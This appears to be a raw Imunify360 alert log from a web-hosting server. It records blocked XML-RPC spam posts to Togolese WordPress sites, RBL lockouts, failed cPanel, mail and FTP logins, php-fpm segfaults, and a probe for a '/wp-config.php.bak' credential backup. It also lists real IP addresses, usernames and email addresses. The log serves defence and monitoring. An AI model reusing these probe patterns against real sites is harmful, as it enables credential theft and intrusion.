IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:493083dc483314052806428d979c13f54123d0e3||Title:gs38uanhdpzwigub||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f53101b3c00d8ae4774a5fd7278ba51f26289b86||Title:r8tfgphilgfv1pb4ta||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 03:21:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:68cd1b59ab8f5a744caa1ba22af0510e549dc6bb||Title:cnv5epiagwty7h3f||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:22:23 ns5 kernel: php-fpm[2168271]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a285f41a0dccdf1db8ce0fd1cae053c00723bb6||Title:xuic9sudff0b2cq8g||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:23:12 ns5 kernel: php-fpm[2168965]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1a9ea86193b1617f443b38aecea3dcdcbba7a710||Title:ib98jojxmzx2qgerr||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.232.224
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:194.180.232.224||TA:194.180.232.224||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:24:46 ns5 kernel: php-fpm[2169337]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:58198d4607b375f795b0967b7b0e84184c4bd1de||Title:sbo4cqy6926p4k||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:da408d37181bf1ef2836c3a8771d7deef14f41a2||Title:ea5vh5vn24y7gy||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:11af32b62a6a61da7048d074ac1e1e0b656e4fd7||Title:d1gl1yp337r08osw||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.222
country_id: 6252001
description:
Jul  1 03:26:52 ns5 pure-ftpd[2172314]: (?@147.185.132.222) [INFO] New connection from 147.185.132.222


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.65
country_id: 3469034
description:
Jul  1 03:26:20 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.68
country_id: 798544
description:
Jul  1 03:26:46 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.68 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:27:42 ns5 kernel: php-fpm[2169827]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f338d7c729daec66dd496689c29bb057c4c6fb7||Title:mcmoydzso4k9zsn||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.68
country_id: 798544
description:
Jul  1 03:26:59 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.68 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0bbfb2f05197750b73cf9597ebfffcf0688a064e||Title:mqzi4qutvy9ggtxpx||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:28:05 ns5 kernel: php-fpm[2170745]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.140
country_id: 3175395
description:
Jul  1 03:29:42 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.140 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.90.141
country_id: 690791
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-29.45.89.90.141||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d710157689deb3536e3dd1a6058b71ceabc4cd5||Title:tuk2t7b199cz9aau56||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aea7bb65ae0e395951c4b38df8f1ae76e6618887||Title:kduyk8xsk7z9ge||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d4fab28339d5e681d32bf6a3b93f768027186cbd||Title:gjq538w5a7ufpmyv2o||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.243.243.53
country_id: 6252001
domain: lasnb.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:bighostingsnbd||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.161.26
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/albums/page/3 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 03:35:27 +0000] info [cpaneld] 103.65.237.55 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:36:42 ns5 kernel: php-fpm[2173364]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.178
country_id: 1880251
description:
43.173.182.178 - - [01/Jul/2026:03:36:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10404763&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ffeed%253Drss2%2526p%253D11546&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782877015 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?feed=rss2&p=11546" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.178


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.145.131.222
country_id: 294640
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.145.131.222||TA:45.145.131.222||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:37:06 ns5 kernel: php-fpm[2172637]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 03:39:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 03:40:42 +0000] info [cpaneld] 167.99.236.81 - kidsedunetmaster "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kidsedunetmaster (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.138
country_id: 1880251
description:
43.173.181.138 - - [01/Jul/2026:03:41:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6933147&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ffeed%253Drss2%2526p%253D5546&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782877266 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?feed=rss2&p=5546" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.30.66
country_id: 933860
description:
Jul  1 03:43:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.30.66 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:45:38 ns5 kernel: php-fpm[2177499]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.1.27.154
country_id: 1168579
domain: group-gci.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:18136.group-gci.com||ServerName:group-gci.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd5eaa8f2cca9a4e0bbe1ba2083d55a4f462aaa0||Title:ow6zg32zf1ppbev||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-07-01 03:45:14 +0000] info [cpaneld] 168.144.35.224 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.174.212
country_id: 1880251
description:
43.173.174.212 - - [01/Jul/2026:03:46:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791640&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D8879&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782877562 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=8879" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.174.212


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.53.219
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:162.252.53.219||TA:162.252.53.219||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:162daa0dc93966e65af50bc739c7c40a32b98f13||Title:510bxp7igheryxfdi8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ff8b0b11ec04a7655920646c84055f5db707bfc||Title:bi6ms297ij7msb4vil||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e7fc8b56162cea3287552f62095a64c73d927e19||Title:qexyidyxhv0gq5quax||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0e56f7d19aba8d065d709a3b16e6bd4cc8bdc49f||Title:l2pdppywzx2n9vlb||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.37
country_id: 298795
description:
Jul  1 03:54:53 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c25081d80151002fd19d6c555edefa73246f66cd||Title:5o9eu0jimq1yc5g96e||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:55:22 ns5 kernel: php-fpm[2181768]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.37
country_id: 298795
description:
Jul  1 03:55:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8fce74d27d58fce2bc0544126e83cd0a261d5a8c||Title:b8lzqxgiwvv409||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.199.122.176
country_id: 6252001
description:
[2026-07-01 03:55:53 +0000] info [cpaneld] 198.199.122.176 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ac5bb4fdb388a6ccd44625f3e848c17523278f9||Title:lbelhcxkesonaxeh||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 03:56:39 +0000] info [cpaneld] 20.212.169.175 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.128.35.208
country_id: 6252001
description:
2026-07-01 03:57:03 dovecot_plain authenticator failed for H=ec2-3-128-35-208.us-east-2.compute.amazonaws.com (lb5i1rhjfzoegbd3g6yr3) [3.128.35.208]:38398: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:415ac9090aa5b2390875585b57747f7345241778||Title:54pf2mwyxf3td4sy||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3d9defb134b9d124999263a5d7ef7912cefaa112||Title:e9ht7mki8ep5lx||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 104.248.56.87
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 104.248.56.87: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.212.115.122
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:185.212.115.122||TA:185.212.115.122||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d1567698e3684c92d8794697ba0430ce1ea55cc0||Title:sf72ru05jetnhj||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:00:25 ns5 kernel: php-fpm[2184587]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ac27302bdb2eea566a90363dd0d2b508b57e43d1||Title:kasgk7gnb7k7u1j||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.144.212.47
country_id: 690791
description:
Jul  1 04:00:41 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.144.212.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.144.212.47
country_id: 690791
description:
2026-07-01 04:00:43 dovecot_plain authenticator failed for H=([45.144.212.47]) [45.144.212.47]:49824: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.144.212.47
country_id: 690791
description:
Jul  1 04:00:55 ns5 pure-ftpd[2186389]: (?@45.144.212.47) [WARNING] Authentication failed for user [supporthosting]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:01:24 ns5 kernel: php-fpm[2184673]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 04:01:19 +0000] info [cpaneld] 167.99.236.81 - heroes "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user heroes (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fc0581a84a36f7f7868cc7b2272b31e364eb564e||Title:7r00p8b2jn2t731||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d53392204041ddecade4dbf6515c3e864d87add3||Title:rj78bopuwzvyhln84||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.91.113.30
country_id: 3469034
description:
Jul  1 04:02:55 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.91.113.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 185.212.171.190
country_id: 2750405
domain: davetechno.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.91.113.30
country_id: 3469034
description:
Jul  1 04:03:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.91.113.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ca812bab65c54de08e442a1647a1ef9cae00f2ca||Title:tjpzdgba3i9j6d6t||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:68886a344a4496347c553001b06d69c9f4f30f44||Title:daxqwac7bg3j9gd1f1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:05:37 ns5 kernel: php-fpm[2186368]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.192.174.154
country_id: 1643084
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-05.103.192.174.154||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ba08fd161bab69ff0aeb02dcf53c2449396f71ea||Title:uw58gtc0so72eisimn||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.67.204.218
country_id: 1831722
description:
[2026-07-01 04:05:27 +0000] info [whostmgrd] 118.67.204.218 - Turblote "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:06:06 ns5 kernel: php-fpm[2186343]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b9889a8f42a54729af1fded898d1373e0cb224a2||Title:8n761f363isqe0||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 2.56.189.247
country_id: 6252001
description:
2.56.189.247 - - [01/Jul/2026:04:06:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313564&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782878816 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:2.56.189.247


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:07:15 ns5 kernel: php-fpm[2186315]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
